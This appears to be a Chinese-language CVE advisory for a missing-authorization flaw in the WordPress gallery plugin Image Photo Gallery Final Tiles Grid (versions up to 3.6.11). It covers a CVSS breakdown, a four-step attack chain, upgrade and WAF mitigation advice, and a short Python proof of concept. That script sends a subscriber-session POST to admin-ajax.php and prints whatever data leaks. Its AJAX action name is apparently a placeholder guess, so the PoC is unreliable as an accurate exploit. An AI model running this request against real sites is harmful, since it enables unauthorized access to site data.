CVE-2026-27424 CVSS 4.3 中危

CVE-2026-27424: WP Chill插件权限缺失漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-27424

漏洞类型

权限缺失

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Image Photo Gallery Final Tiles Grid

漏洞概述

该漏洞源于WP Chill开发的WordPress插件Image Photo Gallery Final Tiles Grid中存在缺失授权的安全缺陷。由于配置错误的访问控制安全级别，攻击者可以绕过部分权限限制。受影响的版本涵盖从n/a到3.6.11的所有版本。具有低权限的攻击者无需用户交互即可通过网络利用该漏洞，导致机密性受损，存在敏感信息泄露风险。

技术细节

该漏洞属于典型的访问控制失效（Broken Access Control）。在受影响的插件代码中，某些处理敏感数据的AJAX端点或管理功能未正确实施`current_user_can()`权限检查。根据CVSS向量AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N，攻击者仅需具备低权限账户（如订阅者），即可在无需用户交互的情况下，向服务器发送特制的HTTP请求。由于缺乏授权验证，服务器会错误地响应并返回本应仅对管理员可见的敏感信息。攻击者无法修改数据或导致拒绝服务，但可利用此漏洞进行信息收集，为进一步攻击提供依据。

攻击链分析

STEP 1

侦察

攻击者识别目标站点是否安装了Image Photo Gallery Final Tiles Grid插件及其版本号。

STEP 2

获取权限

攻击者在目标站点注册一个低权限账户（如订阅者Subscriber）。

STEP 3

发送请求

攻击者使用低权限账户的Cookie，向存在漏洞的未授权AJAX端点发送特制的HTTP请求。

STEP 4

获取数据

服务器因未正确校验权限，返回敏感配置信息或私有数据，攻击者解析响应内容。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL of the vulnerable WordPress site
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Vulnerable payload parameters
payload = {
    "action": "final_tiles_gallery_ajax_action", # Replace with actual action name if known
    "gallery_id": "1"
}

# Cookies for a low-privileged user (e.g., Subscriber)
cookies = {
    "wordpress_logged_in_12345": "low_priv_user_session_token"
}

try:
    # Send POST request to exploit missing authorization
    response = requests.post(target_url, data=payload, cookies=cookies, timeout=10)

    if response.status_code == 200:
        print("[+] Request successful. Data leaked:")
        print(response.text)
    else:
        print("[-] Exploit failed or endpoint not found.")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Image Photo Gallery Final Tiles Grid <= 3.6.11

防御指南

临时缓解措施

建议立即将Image Photo Gallery Final Tiles Grid插件升级至最新版本以修复漏洞。若无法立即升级，应通过Web应用防火墙（WAF）添加规则，拦截对特定插件管理端点的未授权访问请求，或暂时停用该插件直至完成修复。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表